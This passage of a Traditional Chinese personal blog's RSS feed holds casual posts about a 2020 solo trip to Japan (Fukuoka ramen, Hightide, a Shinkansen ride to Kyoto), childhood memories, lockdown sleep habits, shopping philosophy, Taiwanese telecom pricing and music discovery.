<figcaption class="text-center">剛下飛機，行程還沒想好不知道怎麼辦，就先來根草莓起司甜筒壓壓驚吧</figcaption>
</figure>
</p>
<p>不幸中的大幸是，博多一幸舍的本店就在博多車站步行距離大概不到 10 分鐘的地方，就很剛好的解決了我落地的第一餐，還可以順便在吃飯的時候想一下接下來要去哪裡鬼混。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/ikkousha-ramen.jpg"
      class="mx-auto my-0 rounded-md"
      alt="博多一幸舍拉麵"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>說實話過了那麼久，我實在是想不太起來它的味道到底是如何。但這可能也代表了，博多拉麵的口味雖然不是大部分拉麵愛好者的首選，但一定是不同派系之中最入門，一般人接受度最高的一個選項。我本來是有想說回台灣要再找機會去新竹吃吃看有沒有不一樣，但可惜回來沒多久就因為疫情掰掰了 QQQQ</p>
<p>吃完拉麵下午的行程當然就是散步逛街 (?)，也剛好我想去踩的點幾乎都在天神的商圈附近，所以我就很順的沿著大馬路一路逛下去。令我滿印象深刻的是這條街上的店家單價普遍滿高的，再加上街道整齊劃一，逛起來其實頗有高級 outlet 的感覺。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/apple-store-fukuoka.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Apple Store 福岡"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">前幾個月才剛搬家和改裝的福岡 Apple Store，原本名字裡的天神也順便被拿掉了</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/hightide.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Hightide"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Hightide 本店意外的沒有很大，而且還藏身在一個住宅區的小巷子裡</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/hightide-board.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Hightide 看版"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>Hightide 算是我少數滿常在關注的雜貨品牌，所以即便它的店沒有在順路的路線上，但我還是特別繞過去想親自去本店逛一下。一走進店裡我馬上就注意到店內在播的音樂是我也很喜歡聽的 LANY，雖然我最後沒買什麼東西，但整體逛起來的感覺是很舒服的。有的時候喜歡某一個牌子的東西，那感覺就像一個跟你喜歡一樣風格的人在設計一個東西，所以他的東西自然就會滿足你自己對某一個東西的想像吧。</p>
<p>下午不小心逛的太盡興，晚上回到博多車站的時候，我才發現新幹線到京都最快可能也都要 10 點了，因為之前民宿有寫信來前交代萬交代如果要延遲住宿一定要提前通知不然會進不去，於是我還在車站內兜了好幾圈找到旅客服務櫃檯借電話，然後那個民宿的婆婆似乎還不太會講英文，所以搞了老半天最後電話還是櫃檯的服務人員幫我翻譯的 ¯\_(ツ)_/¯</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/departure-information.jpg"
      class="mx-auto my-0 rounded-md"
      alt="出發案內"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第一次劃位新幹線就失算，可憐哪 QQQQ</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/kyushu-shinkansen-platform.jpg"
      class="mx-auto my-0 rounded-md"
      alt="九州新幹線月台"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>終於搞定之後，就開心的去買便當上車前往京都辣</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/bento-on-shinkansen.jpg"
      class="mx-auto my-0 rounded-md"
      alt="鐵路便當"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">日本的鐵路便當真的是隨便買隨便好吃 (˶‾᷄ ⁻̫ ‾᷅˵)</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/rolling-deep-1/arrive-at-kyoto.jpg"
      class="mx-auto my-0 rounded-md"
      alt="御旅宿 月屋"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">好啦至少我平安抵達京都ㄌ</figcaption>
</figure>
</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-1</guid><pubDate>Mon, 30 Aug 2021 04:55:37 +0800</pubDate></item><item><title>🇯🇵 2020 日本 - 規劃</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-planning/</link><description>我第一趟忠於自己的旅行</description><content:encoded><![CDATA[<p>其實在上一篇決定的目的地的時候我故意少提到了一件事：我們家在 3 年前才去過一次日本。在那次的第一版行程規劃裡，我本來提議其中一天晚上要搭日本目前唯一一條僅存的寢台列車，來銜接大阪和東京的行程。只是後來礙於：</p>
<ol>
<li>訂票手續非常麻煩</li>
<li>我媽老人恐慌症發作我爸會扛不住</li>
<li>我把後續規劃的時間都拿去搞社團成發</li>
</ol>
<p>所以最後這個大膽的想法就這麼石沉大海了。我本來以為照 JR 淘汰寢台列車的速度，那趟旅程錯過之後大概以後就很難有機會了。</p>
<p>但可能凡事冥冥中自有安排，所以在我兜了一圈回來看到日本這個選項的時候，腦中就馬上浮現了重啟這個計畫的念頭。</p>
<p>除了上面這條寢台列車，我後來又多列了很多這趟想搭到的鐵路路線，所以從規劃的很前期就決定直接買一張 JR 的全國鐵路通票來 cover 這趟旅程大部分的路線。又因為<del>我的客家精神要我搭回本</del>這些路線散佈在日本的各處，所以接下來的路線基本上就是非常不順路又匪夷所思。</p>
<p>反正這是我一個人的旅行，所以我說了算：）</p>
<p>機票的部分，我發現當時福岡的價格比起大阪或東京這種熱門目的地來的還要便宜，剛好之前都沒有去過九州那一帶，所以就設定從福岡出發，往東京的方向走這個大方向。回程的話，原本是想說在旅程第七天晚上從東京回來，直到我意外發現，隔天早上從名古屋回來機票便宜了不少，也就是說，我可以用通票再多坐一趟新幹線到名古屋睡膠囊一個晚上，再多看一次日本的日出，又可以省下將近兩三千的摳摳，怎麼看都很迷人啊嘶 (˶‾᷄ ⁻̫ ‾᷅˵)</p>
<p>後續的細節我反而就比較沒有很認真排了，大致上圍繞在一些特定的大方向，比方說咖啡廳、書店、文具店、選物店、Apple Store，然後把找到的地點點到地圖上就沒了。</p>
<p>背景總算交代完，下一篇要開始流水帳了</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-planning</guid><pubDate>Sun, 22 Aug 2021 23:19:28 +0800</pubDate></item><item><title>🇯🇵 2020 日本 - 前言</title><link>https://blog.tomy.me/zh-tw/posts/rolling-deep-prelude/</link><description>緣起、為什麼是日本</description><content:encoded><![CDATA[<p>那是 2019 年的秋天，記得應該是某一堂正規語言吧，一如往常的，上課不到半個小時幾乎半個班都已經進入熟睡或是放空耍廢的模式。我盯著電腦的螢幕，發覺今天好像不是寫 code 特別順的日子，是不是乾脆跟著大家一起睡算了。</p>
<p>轉頭張望了一陣子之後，內心突然獲得了一種難得的平靜，仔細想想過去的 2 年，我的生活大部分時候的確都是在被各式各樣東西追著跑的狀態，也難怪，在我剛進中興的這個時間點，生活的步調總算是慢下來了一點。雖然前一陣子很多的努力最後沒能兌現，但既然都算是走到一個段落了，我還是決定在這個不錯的時機點，來讓自己放個假。</p>
<p>於是我打消了睡意，開始在課堂上規劃我的假期。</p>
<p>一開始的計畫原本是：找一個我還沒去過的國家，然後就照一般出國排行程的方式，排一些理所當然的行程。我打開 Google Flights 看著世界地圖，掐指算了一下去不同地方可能的花費會到哪個級距，如果以度假來說，便宜的選項玩起來可能不會太輕鬆，而舒服的選項普遍不會太便宜。</p>
<p>同時我也考慮到了另外一個重點，就是如果我只是找了一個沒去過的地方，去走一些大家都會走的行程，那其實對我來說好像就沒什麼紀念的意義或價值了。所以雖然我一開始前立了一個不選很 Low 選項的 Flag ，但考量到預算、一個人移動的方便性、還有我後續在行程安排上可以變化的空間，我最後還是選了日本作為這趟旅程的目的地。</p>
<p>好啦，接下來幾篇要開始連載我的日本行ㄌ</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">rolling-deep-prelude</guid><pubDate>Sun, 08 Aug 2021 05:37:46 +0800</pubDate></item><item><title>我逝去的高中畢典</title><link>https://blog.tomy.me/zh-tw/posts/my-high-school-commencement-that-slipped-away/</link><description>都是這麼倏忽即逝的吧</description><content:encoded><![CDATA[<p>故事要從 2017 年的某個早上說起。</p>
<p>在好一段沒日沒夜讀書的日子裡，我又難得回到了教室，坐在位子上享用我的標準高三早餐組合——火腿玉米起司蛋餅外加一瓶葡萄可爾必思。雖然已經有段時間沒來學校了，但仿佛一切卻不曾改變過。那天就好像另一個暑假中間的返校打掃日，另一個和同學們打兩局大老二的日子，好像未來的哪一天，我們都會再一起回到這間教室一樣。</p>
<p>反正今天是不碰書了，我抱著一種老子今天出門就是跑團的心態，在早上的彩排之後，下午又繼續約了另外一團直接去女巫店再多打幾局桌遊，最後在晚上完成又一次的彩排，結束一天難得的假日。</p>
<p>很多美好的故事，都會在醒來的時候發現原來是夢一場，但在我模糊的記憶中，象徵高中三年青春歲月的畢業典禮並不是。而我卻要到考完指考之後，才發現原來我已經錯過了。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">my-high-school-commencement-that-slipped-away</guid><pubDate>Wed, 28 Jul 2021 04:11:42 +0800</pubDate></item><item><title>可是聽起來超好玩ㄉ</title><link>https://blog.tomy.me/zh-tw/posts/it-sure-sounds-like-a-lot-of-fun/</link><description>一個你只要不說就不會有事但你說了的故事</description><content:encoded><![CDATA[<p>最近好像教檢考完了，才意外發現原來我身邊想當老師的人其實還不少 (?) Anyway，這倒是讓我想到我念國小的時候發生的一個故事。</p>
<p>小學的數學課本或習作後面常常會有附件，反正就是教到某個單元的時候會用到的某個道具，要用剪刀剪下來才能用。可能是太常有一些智障啊達，會在還沒教到那個單元就把那個附件剪下來玩，然後玩一玩就玩不見。於是那個時候我們老師就統一規定：不准提早把附件剪下來，要等到他上到那個那個單元，他會在課堂上給大家時間把他剪下來。</p>
<p>記得好像是小二吧，某一堂課一樣要剪附件，因為我<del>手速快</del>一下就剪完了，於是我就愣在座位上發呆。這時候老師不知道哪條筋突然想到，天外飛來一句：「剪下來的屑屑就放著，不要給我把他再亂剪成更小的屑屑」。我心想：ㄛ穴為什麼聽起來超好玩ㄉ，窩怎麼會沒想到ㄋ。於是我馬上拿起剪刀開始胡亂爆剪一波，老師整個氣到原地起飛，把我叫去門口罰站。</p>
<p>好啦我必須說，實際上並沒有那麼好玩。但要不是因為這點子是從老師嘴巴裡講出來，我八成也不會覺得這檔事聽起來有多好玩吧。</p>
<p>所以我說，這鍋能算到我頭上麼？</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">it-sure-sounds-like-a-lot-of-fun</guid><pubDate>Wed, 21 Jul 2021 01:46:07 +0800</pubDate></item><item><title>盤子心法</title><link>https://blog.tomy.me/zh-tw/posts/my-experience-of-being-ripped-off/</link><description>當了多年的盤子，現在的我是怎麼買東西的</description><content:encoded><![CDATA[<p>好想出去玩 QQQQQ</p>
<p>最近不知道是因為畢業季到了，還是 M1 太香，身邊開始有好多人來找我討論新玩具要怎麼買。想想一路走來也繳了不少學費，如果當一次盤子是一條罪名，那我應該姑且算是罄竹難書 (?) 雖然本來想寫一篇盤點我繳過的學<del>廢</del>費和心得，但想想覺得，也許更高一個維度的心境應該比較值得紀錄。</p>
<h2 id="規格地獄" class="relative group">規格地獄 </h2><p>我自從買東西會做功課開始，就掉進了規格的地獄，我基本上已經對想買的東西有什麼規格瞭若指掌，比方說 SATA 和 M.2 是什麼，螢幕和面板的關聯之類的。可是最大的問題卻出在，我很難掌握自己需要到哪個檔次的規格，而且會對某一些數據和價錢的零頭斤斤計較，要嘛追逐最便宜的價錢，要嘛非要最好的規格不可，然後花上一大把的時間在研究一些實在不重要的細節。</p>
<h2 id="真正的關鍵其實是需求" class="relative group">真正的關鍵其實是「需求」 </h2><p>過一陣子我發現，大部分時候其實我對自己的需求也沒有掌握的很好，所以即便了解很多規格和數據，我也很難預測真正適合我的到底是什麼。另外一點就是，在規格原則運作下，有時候我會選擇價錢真的很便宜，或是規格 C/P 值過高的東西。但這兩個分類都有副作用，太便宜的東西，毛病多，會 Debug de 到心很累。C/P 值過高的東西，則是醜，早上睡醒看到會覺得一天都毀了的那種醜，東西帶出門會不想承認那是自己買的那種醜。</p>
<h2 id="投入的時間-也是成本的一部分" class="relative group">投入的時間 也是成本的一部分 </h2><p>所以我開始漸漸可以接受，東西看上去順眼是值錢的，東西有品牌的加持、穩定和耐用也都是值錢的。反正市面上的選擇是有限的，最好的選擇和草草的選擇可能不見得值得浪費時間去做功課。只要不是盤子價，多花一點的錢，滿足的是視覺上的協調，省下做功課的時間還可以用來耍廢 (x)。</p>
<p>觀察大部分的東西，規格對價錢的關係都是指數成長，然後同時和銷售量成反比，畫成圖之後中間交叉點的位置符合最多的人的需求，性價比也最高。根據上面的原則，當我現在急需要採購某一樣給西，但又沒時間研究規格和細節的時候，我會把所有選項滑過一遍，大概對這個東西的價格分佈有一點概念，然候可能預估我對這東西的需求大概比普通人少一點點，那就直接去看看價格略低於中位數的選項有哪些，挑一個第一眼看上去合的，頂多確認一下沒災情就直接下了，連規格都不看。</p>
<p>到現在這個狀態，我覺得我真正的達到了效益最大化，用最少的時間去做 80 分的決定。最終我花錢買的其實不只是那個產品本身，我買的是一種感覺、一種穩定。我覺得到這個節骨點回頭過來看，最初我做功課的出發點不外乎是為了省錢，但盲目的追逐用不到的規格，或是沒差那麼多的價錢零頭，反而才是貧窮的陷阱吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">my-experience-of-being-ripped-off</guid><pubDate>Tue, 13 Jul 2021 03:11:30 +0800</pubDate></item><item><title>圖解居家辦公作息</title><link>https://blog.tomy.me/zh-tw/posts/how-i-survive-lockdown/</link><description>以及我如何兩度跨越國際換日線</description><content:encoded><![CDATA[<p>之前 5 月多的時候本來想說，啊專題快爆了，每週一文就停更了唄。結果這一停不得了，一不小心 2 個月就過去了呢。令我蠻意外的倒是，有好多人來敲碗為什麼不寫了，真是令我受寵若驚 o(≧v≦)o</p>
<p>作為回歸的第一篇，就先來回顧一下這兩個月的居家辦公吧xDDDD</p>
<p>在差不多三級警戒差不多剛滿一個月的實驗室例行 meeting ，快結束的時候老師補了一句，建議大家好好檢查一下這一個月以來，事情是變多了，還是變少了。我自從 5/12 回到台北開始，就幾乎沒出門了。再加上只要是醒著的時間，我要嘛不是在刷手機就是在用電腦。啊於是我就突發奇想，如果把 Chrome 的瀏覽紀錄輸出，畫成圖表，應該可以很好的呈現我的生活作息和趨勢。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/overview.jpg"
      class="mx-auto my-0 rounded-md"
      alt="總覽"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>第一排中間開始是 5/12 (三)，後面就是照行事曆下去排，我這兩個月的生活作息大致上有三種檔次：</p>
<h2 id="第一檔" class="relative group">第一檔 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/stage_1.jpg"
      class="mx-auto my-0 rounded-md"
      alt="第一檔"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第一檔</figcaption>
</figure>
</p>
<p>基本上就是標準的晚睡晚起，其實就只是延續我平常在台中做專題的作息，大致上就是修 code 修到凌晨 3<del>5 點，把模型放下去 train，然後睡到下午 1</del>3 點起床看結果。這個階段的副作用可能包含不小心在吃完晚餐後斷片在沙發上 (5/21)，這個階段結束時，我的作息大約晚台灣時區 6~7 小時。</p>
<h2 id="第二檔" class="relative group">第二檔 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/stage_2.jpg"
      class="mx-auto my-0 rounded-md"
      alt="第二檔"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第二檔</figcaption>
</figure>
</p>
<p>大致上是從 5/29 起算，我稱之為 Eureka 階段。這個階段有兩個重要的時間點，一個是實驗室 5/31 輪到我報 paper，另一個是 6/4 專題初賽 deadline，總而言之就是一個密集衝刺的，事情爆幹多的禮拜，所以作息在無意間變成有點像沒 feel 的時候先硬幹一下，真的發現沒搞頭就去睡一下，通常睡去第一次深層睡眠週期回來的時候，腦袋會突然閃過一個靈光，然後就可以起來衝刺一下進度。6/4 專題搞定之後，估計學期結束之前應該是不會再恢復實體上課了，所以我當天臨時當天往返台中，把重要的給西全部扛回台北，包含兩個電腦的螢幕和 switch，畢竟做專題可以效率 50%，但耍廢效率當然就是要 150% (x，這個階段大致上結束在 6/5 ~ 6/6 ，這時候的時差有調整回來，雖然是用 +24 的方式。</p>
<h2 id="第三檔" class="relative group">第三檔 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/stage_3.jpg"
      class="mx-auto my-0 rounded-md"
      alt="第三檔"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第三檔</figcaption>
</figure>
</p>
<p>經歷了幾天正常吃的到早餐的台灣作息之後，就進入了第三檔——兩段式。這個作息的靈感來源自一檔的副作用，基本上就是吃完晚餐就直接開睡，睡到差不多凌晨 2、3 點，起來洗個澡吃個宵夜、幹點活，然後天亮再補睡個 4 小時，起來再吃個早午餐。可能也因為剛好這段時期沒什麼重要的事情，所以可以說是我近期最喜歡的一種生活模式，過起來其實蠻舒服的，唯一的缺點就是實驗室禮拜四晚上固定的會議會打亂這個節奏。</p>
<h2 id="輪迴" class="relative group">輪迴 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/stage_4.jpg"
      class="mx-auto my-0 rounded-md"
      alt="復歸一檔"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">復歸一檔</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/how-i-survive-lockdown/stage_5.jpg"
      class="mx-auto my-0 rounded-md"
      alt="第二次二檔"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第二次二檔</figcaption>
</figure>
</p>
<p>接下來期末前一個禮拜整理了一下前陣子很久沒做的雜事，作息回到一檔，然後在期末考週為了做 AIoT 期末報告不小心開了二檔，還不小心第二次跨越國際換日線，最近又大概回到一檔。</p>
<h2 id="結論" class="relative group">結論 </h2><p>明天實習就要第一天上工了，就期待我能調整到一個正常一點的作息吧 (￣▽￣)，或是三檔好像也不錯 (?)</p>
<p>其實認真想想，現在的我可能已經離悠哉生活越來越遠了，接下來大概也只會有忙、很忙、跟爆幹忙這三種狀態吧。也許早點習慣這樣的新常態，像習慣疫情那樣，從縫隙中擠出時間來做自己覺得重要的事情，才是上策吧。</p>
<p>如果有人有興趣想看看自己的 Chrome 瀏覽紀錄會畫出什麼，我把程式都放在 GitHub 了，還請大啊賞個 🌟</p>
<p>我回來ㄌ，如果我太久沒發文還請大家來催稿 (˶‾᷄ ⁻̫ ‾᷅˵)</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">how-i-survive-lockdown</guid><pubDate>Mon, 05 Jul 2021 03:50:01 +0800</pubDate></item><item><title>凡 Apple 殺不死的，必使它更加強大 (?</title><link>https://blog.tomy.me/zh-tw/posts/what-apple-did-not-kill-makes-it-stronger/</link><description>又或是從此一蹶不振呢</description><content:encoded><![CDATA[<p>這一篇不小心拖得有點久，拖到都快要沒有話題熱度了。我本來想寫一篇《那些年在 Apple 發表會後哭暈在廁所的科技新創》，如果你是一位數位麻瓜，這個主題的梗是：每隔一陣子，Apple 就會在發表會端出一道他們以前沒有做的新菜色。雖然對大部分使用者而言，這其實是一件好事，但如果你是一家正在做這個題目的新創公司，那很可能你整間公司的價值幾乎可以說是直接被一台大坦克給活生生的碾壓過去了。</p>
<p>但這個主題可能稍微有水準的科技新聞網站可能都盤點過了，所以我想換一個角度切入討論這個議題：其實我從來就不覺得創業題目被 Apple 複製/抄襲/剽竊/模仿/致敬 有什麼不好。甚至完全相反，這代表你的眼光獨到，選題有很大的前景。而且身為市場上的先行者，就應該要發揮先行者的優勢，比方說利用使用者數據分析這個需求的走向和趨勢，快速應變市場的需求，而這反而是像 Apple 這樣的大公司可能很難有的彈性。</p>
<p>雖然反壟斷的官司還是值得打個幾場，但真正的贏家，還是靠真本事在賺錢的。我想這也是為什麼就算過了 5 年， Spotify 還是比 Apple Music 好用。或是更厲害的： 10 年前，Steve Jobs 在 Dropbox 的創辦人拒絕收購的時候烙下狠話說要毀掉他的公司。2 年前，Dropbox 在 NASDAQ 上市，估值超過 120 億美金，Google Drive 和 iCloud 的檔案同步系統還是被甩在五條街外。</p>
<p>所以我想啊，雖然天生自帶 buff 的狂人滿街都是，但這還是阻止不了其他人成功的吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">what-apple-did-not-kill-makes-it-stronger</guid><pubDate>Sun, 02 May 2021 02:13:02 +0800</pubDate></item><item><title>我的志向</title><link>https://blog.tomy.me/zh-tw/posts/my-ambition/</link><description>好像是有一點太舒服了</description><content:encoded><![CDATA[<p>最近寫的題材好像有點硬核，又太臭太長了，換一下心情寫短篇故事好了。</p>
<p>前幾天做了一個很神奇的夢，可是那個實在夢太神奇了，神奇到我醒來的那瞬間就把夢的劇情全都忘光了。但不知道為啥，這個夢倒是突然讓我想起我小學寫的第一篇作文。那篇作文的題目非常之老土，就叫做《我的志向》。</p>
<p>我記得我有聽到寫想當警察的、想當消防隊的，寫想當太空人貌似有，但我好像不太記得有人寫想當總統，這倒是蠻意外的。反正不管其他人寫什麼，我顯然沒有抓到這個題目的重點。大概是因為志向這個概念對小學二年級的我還是太抽象了，所以老師引導失敗的結果就是我最後寫了一篇《我長大想幹嘛》。坦白說這個方向也不能說完全不對，假設我寫我想當警察，然後再鬼扯一些逮捕犯人或是伸張正義之類的，那可能就有勉強擦邊，評分至少也有個甲。</p>
<p>可惜我實在是太沒出息了，洋洋灑灑寫了一篇我有多喜歡火車和樂高的文章，然後得出結論：我長大想要移民瑞典，當瑞典高鐵 X2000 型列車的司機 (對我當年真的明確的寫出了列車的型號)，然後在放假的時候過橋到海峽對面的丹麥樂高樂園玩。老師顯然不太喜歡這個組合，但可能第一篇作文不敢打乙，所以有甲下 xD</p>
<p>我寫完這篇作文曾經有好一陣子都覺得我怎麼這麼爛。但現在看起來，我那是真是<del>聰明過分</del>太有遠見了，才小小年紀就懂得過 chill chill 的生活。</p>
<p>哪像現在淪落到 train 模型還要忍受理學大樓停電，乾。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">my-ambition</guid><pubDate>Tue, 20 Apr 2021 23:54:29 +0800</pubDate></item><item><title>NCC 是怎麼毀掉台灣的 4G 和 5G 網路</title><link>https://blog.tomy.me/zh-tw/posts/how-ncc-is-ruining-taiwans-cellular-networks/</link><description>順便把消費者當韭菜收割</description><content:encoded><![CDATA[<p>2012 年的夏天，我們家難得出國度假，去新加坡玩了一個禮拜。在回程的飛機上，趁著我老爸還在假期模式，心情正好的時候，我成功說服他讓我去申請 3G 吃到飽的行動網路。在那個年代，我相信大部分的人 (就算不是學生) 其實在斷線的情況下，也都能活得好好的。所以要成功說服一個盤子願意每個月多花八九百塊，只為了讓一個國中生能用到吃到飽的網路幹些不正經的事，我可是下了不少功夫。</p>
<p>事實上，為了抓準這個時間點行動，我甚至早在旅行行程規劃前就開始預謀我的策略了。當時我比較有說服力的論點有兩個，第一個是，有很多能夠真實發揮生產力的工具，比方說 Email 或是 Dropbox，都必須仰賴網路才能運作；另外一個是，在大多數網路帳號被盜用的情況下，在第一時間收到訊息即時止血，是避免後續危機擴散少數的解方。坦白說就算到今天，這兩個論點都還是成立，我想這也是我當時能成功說服主要的原因。</p>
<p>後來沒過幾年，4G LTE 頻譜競標衝出千億的標金，導致開台後的吃到飽月費來到了差不多 1200 的價錢。可能是因為 3G 升上 4G 的預期心理本來自然就會覺得 1200 是一個挺合理的價錢，再加上當時 4G 的確帶來了十分顯著的提速，所以我自然就在沒開台多久就直接跟上去了。甚至後來市場一度傳出吃到飽可能在未來取消的消息後，衝上了接近 2000 塊的月費，雖然心裡多的是無限的賭爛，但還是把頭給洗下去了。</p>
<p>但在 2018 年母親節，攤了牌才發現，我還真的是被當韭菜割了好幾年。499，30個月簽下去，我發誓我再也不對台灣的電信業抱任何期待。我原本覺得我爸的眼光也不差的，他從我還沒辦 4G 之前就曾經跟我說，你這輩子會有榮幸看到種花電信被民營的電信企業打的稀巴爛</p>
<p>但我現在看起來似乎是越來越難了。</p>
<p>去年 5G 結標，4G 的慘劇又再上演一次，才發現啊原來 NCC 也是這群電信業的走狗。這整場鬧劇就跟哈佛商學院教授把 20 元鈔票用十倍的價錢標出去的故事一模一樣，只是負責出錢的人不是 NCC 也不是電信商，是那些最底層的消費者。</p>
<p>就像教育推動了階級的流動，於是我們立法確保每個人享有受教權。所以當我們發現，網路會導致貧窮加劇，我們再度將網路的取得納入人權的一環。但有的時候我更納悶的是，比起將網路作為人權保護，為什麼我們不是選擇保障人在無法使用網路的情況下公平的存活。</p>
<p>2012年，是我主動選擇擁有並且使用這項資源，但生活在 2021 年，我似乎快要失去放棄的權利了。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">how-ncc-is-ruining-taiwans-cellular-networks</guid><pubDate>Fri, 16 Apr 2021 05:19:55 +0800</pubDate></item><item><title>我曾經是這麼發掘新歌的</title><link>https://blog.tomy.me/zh-tw/posts/briefing-of-how-i-discover-music/</link><description>現在要找到好聽的歌似乎沒這麼容易了</description><content:encoded><![CDATA[<p>剛聽完湖畔音樂季回來，那就借題發揮一下好了</p>
<p>稍微認識我的人，應該知道我高中混的社團是流音社。如果你不知道這是什麼社團，簡單來說就是給不會任何樂器，但又 somehow 蠻喜歡唱歌的人唱歌的社團。但比起唱歌，我在聽歌的經驗其實還比較豐富一點。</p>
<p>我人生中第一次開始戴耳機聽音樂，大概是我拿到第一隻手機的時候。這個階段聽的歌其實相對單純，基本上大部分都是一線的華語歌手或團，根據我爸當年的說法，叫做靡靡之音。那個年代有一個神奇的軟體叫做 Foxy，可以下載到任何你想要的檔案，所以那時候大部分的 mp3 音樂檔案都是這樣載下來存到手機記憶卡的。另外一種比較土炮的方式是利用在學校下課的時間，跟同學交換手機用藍牙傳，但是藍牙在那個年代還很慢，一節課頂多只能傳 2、3 首歌而已，所以做這件事情比較大的重點其實是在物色一些自己沒聽過的歌。</p>
<p>後來在大概 5 年級左右，YouTube 流行起來了，而且各大唱片公司還會把 MV 上傳上去。所以我找到一個叫做 Kej&rsquo;s FLV retriever 的東西，可以把 YouTube 的影片下載下來，然後再用格式工廠轉成 m4a。而且拜 YouTube 的相關影片推薦，我開始可以自己往外延伸出一些不同歌路。也差不多是這個階段，我聽歌的重心漸漸轉為以英文歌為主。</p>
<p>接下來國中就差不多是我聽音樂的黃金時期了，我發現聽音樂變成了我日常生活中不可或缺的一部分，從那之後我就比較願意花錢去買我真的很喜歡的專輯，一方面當然是支持歌手，另一方面就是畢竟以我當時的技術水準，要能夠在網路上弄到跟 CD 音質相近的音檔還是太困難了一點。</p>
<p>然後又在某個因緣際會之下，我發現把 iTunes Store 的地區切換到美國是可以買歌的，折騰了幾個月之後我成功弄了一個美國的 Apple ID ，然後透過沒屋頂拍賣買國外的 Gift Card 兌換碼來買歌。開發歌路的方式也有了新進展，那時候我在 App Store 上發現了一個可以用麥克風收音辨識歌曲，叫做 SoundHound 的酷東西，我第一次載下來試玩的情況真的只能用嚇到吃手手來形容。另外加上每天閒著沒事就上 iTunes 的排行榜刷沒聽過的歌，扣除掉必要的花費，我剩下的零用錢幾乎全部都被我拿去買專輯了。</p>
<p>高中大概又是另外一個轉折點，iTunes Store 和 Spotify 都進到台灣了，再加上加入流音社，我幾乎再也不用再花時間去主動開發新的歌路了。另外為了流音社的各種表演，這也是我睽違了好幾年再度開始聽中文歌，最大的感觸大概就是證實我以前可能從來都沒有聽到精華過。</p>
<p>到高三乃至之後上大學，歌路幾乎可以說是越走越偏。好處是變寬了不少，基本上只要不是太偶像型，或是太套路的，我就蠻能接受的。但問題就是要找到相對以前一樣真的很喜歡的歌，真的是越來越難了。</p>
<p>總結就是，雖然長期而言串流平台已經存在一段時間了，但我這一兩年開始明顯感覺到它的影響力正在蔓延到整條音樂產業鏈，最悲劇的是我在探索歌路的方面對這樣的變化好像還沒有太好的應變方式。如果這樣的狀況持續，估計是要鬧一波歌荒。但我猜好酒沈甕底，歐美國家如果之後疫情解封，應該會有機會迎來一波文藝復興，還是可以期待一下的。</p>
<p>我就先許願明年可以在歐洲看 Adele 30 或是 Ed Sheeran - 的演唱會好了(X</p>
